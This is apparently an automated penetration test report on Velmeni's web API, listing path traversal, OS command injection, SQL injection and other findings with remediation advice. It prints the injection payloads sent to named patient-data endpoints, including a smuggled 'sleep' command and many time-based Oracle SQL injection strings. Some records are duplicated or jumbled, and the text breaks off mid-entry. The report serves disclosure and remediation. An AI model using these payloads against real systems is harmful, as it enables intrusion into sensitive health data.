



AKITRA

Fastest Path to Customer Trust with Security Compliance Automation

Web Application API Penetration Test Report



24th Sep 2023

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Executive Summary

The findings of a penetration test conducted on Velmeni’s Web Application on 24th Sep 2023 are summarized in this report. A team of skilled security consultants from Akitra Inc. conducted the test.

A security penetration test is a simulated cyber-attack on a web application. The goal of this test is to identify and exploit vulnerabilities in the system in order to assess the application’s security posture. Penetration tests are an important part of a Comprehensive security strategy and can help organizations identify and fix vulnerabilities before they are exploited by attackers.

Recommendation

The analysis is based on the technologies and known threats as of the date of this report. Akitra recommends that all modifications suggested in this document be performed to ensure the overall security of the web application. The High and Medium risk vulnerabilities must be fixed.

Risk Rating Definitions

The final rating of each vulnerability will be a rating of

High	High Risk severity findings are issues which require immediate attention and remediation at high priority.
Medium	Medium Risk severity findings are issues which require attention and remediation.
Low	Low Risk severity findings are issues which have potential to become severe and it is recommended to be remediated before it escalates.
Informational	Informational Risk severity findings are mostly non-complaint for a security best practice

Application Info

Organization	Velmeni
Application Name	Velmeni
URL	https://api.velmeni.ai
Test Completed on	24th Sep 2023

Technical Summary

Summary of Alerts

Risk Level	Number of Alerts
High	6
Medium	1
Low	2
Informational	3

Alerts

Name	Risk Level	Number of Instances
Path Traversal	High	1
Remote OS Command Injection	High	1
SQL Injection	High	2
SQL Injection - Oracle - Time Based	High	88
SQL Injection - SQLite	High	575
Server Side Template Injection (Blind)	High	85
Cross-Domain Misconfiguration	Medium	75
Strict-Transport-Security Header Not Set	Low	75
X-Content-Type-Options Header Missing	Low	11
Authentication Request Identified	Informational	1
Re-examine Cache-control Directives	Informational	11
User Agent Fuzzer	Informational	23

Alert Detail

High	Path Traversal
	<p>The Path Traversal attack technique allows an attacker access to files, directories, and commands that potentially reside outside the web document root directory. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary files anywhere on the web server. Any device that exposes an HTTP-based interface is potentially vulnerable to Path Traversal.</p> <p>Most web sites restrict user access to a specific portion of the file-system, typically called the "web document root" or "CGI root" directory. These directories contain the files intended for user access and the executable necessary to drive web application functionality. To access files or execute commands anywhere on the file-system, Path Traversal attacks will utilize the ability of special-characters sequences.</p>

Description	<p>The most basic Path Traversal attack uses the "../" special-character sequence to alter the resource location requested in the URL. Although most popular web servers will prevent this technique from escaping the web document root, alternate encodings of the "../" sequence may help bypass the security filters. These method variations include valid and invalid Unicode-encoding ("..%u2216" or "..%c0%af") of the forward slash character, backslash characters ("..\") on Windows-based servers, URL encoded characters "%2e%20%2f"), and double URL encoding ("..%255c") of the backslash character.</p> <p>Even if the web server properly restricts Path Traversal attempts in the URL path, a web application itself may still be vulnerable due to improper handling of user-supplied input. This is a common problem of web applications that use template mechanisms or load static text from files. In variations of the attack, the original URL parameter value is substituted with the file name of one of the web application's dynamic scripts. Consequently, the results can reveal source code because the file is interpreted as text instead of an executable script. These techniques often employ additional special characters such as the dot (".") to reveal the listing of the current working directory, or "%00" NULL characters in order to bypass rudimentary file extension checks.</p>
URL	https://api.velmeni.ai/api/velmeni_bridge/add_image
Method	POST
Attack	add_image
Evidence	
Other Info	
Instances	1
Solution	<p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</p> <p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."</p> <p>For filenames, use stringent allow lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses, and exclude directory separators such as "/". Use an allow list of allowable file extensions.</p> <p>Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised.</p> <p>Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass allow list schemes by introducing dangerous inputs after they have been checked.</p> <p>Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links.</p> <p>Run your code using the lowest privileges that are required to accomplish the necessary tasks. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</p>

	<p>When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.</p> <p>Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by your software.</p> <p>OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows you to specify restrictions on file operations.</p> <p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.</p>
Reference	http://projects.webappsec.org/Path-Traversal
CWE Id	http://cwe.mitre.org/data/definitions/22.html
WASC Id	22
	33
Plugin Id	6

High	Remote OS Command Injection
Description	Attack technique used for unauthorized execution of operating system commands. This attack is possible when an application accepts untrusted input to build operating system commands in an insecure manner involving improper data sanitization, and/or improper calling of external programs.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	256&sleep 15&
Evidence	
Other Info	The scan rule was able to control the timing of the application response by sending [256&sleep 15&] to the operating system running this application
Instances	1
	<p>If at all possible, use library calls rather than external processes to recreate the desired functionality.</p> <p>Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by your software.</p> <p>OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows you to specify restrictions on file operations.</p> <p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.</p> <p>For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the command locally in the session's state instead of sending it out to the client in a hidden form field.</p> <p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</p> <p>For example, consider using the ESAPI Encoding control or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.</p> <p>If you need to use dynamically-generated query strings or commands in spite of the risk, properly quote arguments and escape any special characters within those arguments. The</p>

Solution	<p>most conservative approach is to escape or filter all characters that do not pass an extremely strict allow list (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection.</p> <p>If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.</p> <p>If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.</p> <p>Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the <code>system()</code> function accepts a string that contains the entire command to be executed, whereas <code>execl()</code>, <code>execve()</code>, and others require an array of strings, one for each argument. In Windows, <code>CreateProcess()</code> only accepts one command at a time. In Perl, if <code>system()</code> is provided with an array of arguments, then it will quote each of the arguments.</p> <p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</p> <p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."</p> <p>When constructing OS command strings, use stringent allow lists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.</p> <p>Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.</p> <p>Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.</p>
Reference CWE Id WASC Id	<p>http://cwe.mitre.org/data/definitions/78.html https://owasp.org/www-community/attacks/Command_Injection</p> <p>78 31</p>
Plugin Id	<p>90020</p>

High	SQL Injection
Description	SQL injection may be possible.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	339' OR '1'='1' --
Evidence	
Other Info	The page results were successfully manipulated using the boolean conditions [339' AND '1'='1' --] and [339' OR '1'='1' --] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	10 AND 1=1 --
Evidence	
Other Info	The page results were successfully manipulated using the boolean conditions [10 AND 1=1 --] and [10 AND 1=2 --] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter
Instances	2
Solution	<p>Do not trust client side input, even if there is client side validation in place.</p> <p>In general, type check all data on the server side.</p> <p>If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'</p> <p>If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.</p> <p>If database Stored Procedures can be used, use them.</p> <p>Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!</p> <p>Do not create dynamic SQL queries using simple string concatenation.</p> <p>Escape all data received from the client.</p> <p>Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.</p> <p>Apply the principle of least privilege by using the least privileged database user possible.</p> <p>In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.</p> <p>Grant the minimum database access that is necessary for the application.</p>
Reference	https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
CWE Id	89
WASC Id	19
Plugin Id	40018

High	SQL Injection - Oracle - Time Based
Description	SQL injection may be possible.

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [w], value [89' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']
Evidence	
Other Info	The query time is controllable using parameter value [89' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / '], which caused the request to take [11,769] milliseconds, when the original unmodified query with value [89] took [917] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [10,217] milliseconds, when the original unmodified query with value [344] took [1,832] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [6,276] milliseconds, when the original unmodified query with value [846] took [771] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [6,276] milliseconds, when the original unmodified query with value [846] took [771] milliseconds

UTL_INADDR.get_host_name('10.0.0.5') from dual)), which caused the request to take [6,350] milliseconds, when the original unmodified query with value [178] took [1,136] milliseconds

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [x], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual))]

Evidence

The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)), which caused the request to take [6,593] milliseconds, when the original unmodified query with value [192] took [257] milliseconds

Other Info

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [x], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual))]

Evidence

The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)), which caused the request to take [6,742] milliseconds, when the original unmodified query with value [1090] took [1,612] milliseconds

Other Info

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [x], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual))]

Evidence

The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)), which caused the request to take [7,266] milliseconds, when the original unmodified query with value [1274] took [1,190] milliseconds

Other Info

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [x], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual))]

Evidence

The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual

Other Info	union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual]], which caused the request to take [7,390] milliseconds, when the original unmodified query with value [1047] took [2,294] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,457] milliseconds, when the original unmodified query with value [1010] took [1,533] milliseconds
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,696] milliseconds, when the original unmodified query with value [746.6039215686274] took [1,821] milliseconds
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,775] milliseconds, when the original unmodified query with value [334] took [1,131] milliseconds
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]

Other Info	('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [8,175] milliseconds, when the original unmodified query with value [876] took [2,716] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	The query time is controllable using parameter value [(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [8,415] milliseconds, when the original unmodified query with value [1176] took [1,214] milliseconds
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [1105" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]"
Evidence	The query time is controllable using parameter value [1105" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]" , which caused the request to take [5,637] milliseconds, when the original unmodified query with value [1105] took [272] milliseconds
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [1169" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]"
Evidence	The query time is controllable using parameter value [1169" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]" , which caused the request to take [5,736] milliseconds, when the original unmodified query with value [1169] took [258] milliseconds
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [1183 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --]
Evidence	

Other Info	The query time is controllable using parameter value [1183 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --], which caused the request to take [6,501] milliseconds, when the original unmodified query with value [1183] took [1,098] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [1227' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']
Evidence	
Other Info	The query time is controllable using parameter value [1227' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / '], which caused the request to take [8,450] milliseconds, when the original unmodified query with value [1227] took [1,306] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [1310' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']
Evidence	
Other Info	The query time is controllable using parameter value [1310' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / '], which caused the request to take [7,465] milliseconds, when the original unmodified query with value [1310] took [979] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [1506" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]
Evidence	
Other Info	The query time is controllable using parameter value [1506" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [7,261] milliseconds, when the original unmodified query with value [1506] took [1,043] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [209 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	

Other Info	The query time is controllable using parameter value [209 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,664] milliseconds, when the original unmodified query with value [209] took [1,308] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [x], value [212 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
